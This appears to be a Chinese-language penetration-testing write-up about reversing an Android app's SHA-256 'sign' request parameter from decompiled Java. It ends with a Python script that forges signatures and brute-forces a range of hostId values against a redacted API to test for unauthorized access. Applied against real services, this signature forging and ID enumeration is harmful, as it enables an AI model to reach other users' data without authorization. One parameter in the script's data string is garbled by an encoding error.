APP解密参数sign
APP是公司自己的业务APP,没有加固,只做了代码混淆。本以为要对加密字段进行so文件的逆向,查看后发现是Java层的加密,相对较简单。
首先抓包查看加密字段和相关参数值,可以看到一共有四个参数,其中sign是加密验证完整性字段
利用AK逆向APP包,搜索sign字段信息,但是搜索结果过多,查找较困难,但是sign是一个data参数字段,因此尝试更换其他字段搜索。
搜索reqData字段可以看到,搜索结果就smali文件存在,第一个为程序包,查看代码,利用jd来查看反编译Java代码。
搜索字段,可以看到如下所示,以下字段可以看出,程序对其四个字段的获取都有代表的变量,而我们只需要获取sign的变量,localObject2。
变量的值来源为t包的b方法,可以明显看到,值为nonce,tiestamp, localObject1, t.f的相加值。而localObject1为reqData的值。
查看t.b的方法,方法如下,对字段进行sha-256加密。查看a方法
public static String b(String paramString)
{
return a(paramString, "SHA-256");
}
其中t.a的执行为对指定的参数进行指定的加密,利用传入参数来确定。
public static String a(String paramString1, String paramString2)
{
try
{
paramString2 = MessageDigest.getInstance(paramString2);
paramString2.update(paramString1.getBytes());
paramString1 = a(paramString2.digest());
return paramString1;
}
catch (Exception paramString1)
{
paramString1.printStackTrace();
}
return null;
}
而t.f代表的是一段加密公钥,此处不在列出,利用在线工具查看加密结果是否一致。可以看到加密后的参数和抓到的包结果一致。
那么就可以利用我们自己生成加密参数的方式来进行测试,例如如下脚本,通过判断响应返回的字段来获取参数值,查看是否越权等信息。
#coding : utf-8
import hashlib
import requests
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'JSESSIONID=xxxxxxx',
'User-Agent': 'okhttp/3.4.1'
}
for i in range(60200000, 60295558):
sha = 'MIICdgIBADAN.....TMK63hMPgm25mbCD0vKhsQtcSDlzVwtOOoNlW5E8CQQDNXVwGolFCqU9lb5147AHc+<INF><action>...</action><hostId>'+str(i)+'</hostId><ver>27</ver><transNo>1555571421812</transNo><deviceType>0</deviceType><verNm>3.3.1</verNm></INF>LE8I2QTAFHJM3M.....1555571421812'
h = hashlib.sha256(sha)
sha256 = h.hexdigest()
data = 'reqData=<INF><action>.....</action><hostId>'+str(i)+'</hostId><ver>27</ver><transNo>1555571421812</transNo><deviceType>0</deviceType><verNm>3.3.1</verNm></INF>&nonce=LE8I2QTAFHJM3MO.....×tamp=1555571421812&sign='+sha256
r = requests.post('http://xxxxxx/api', data = data, headers=headers)
if 'xxxxxx' in r.text:
print i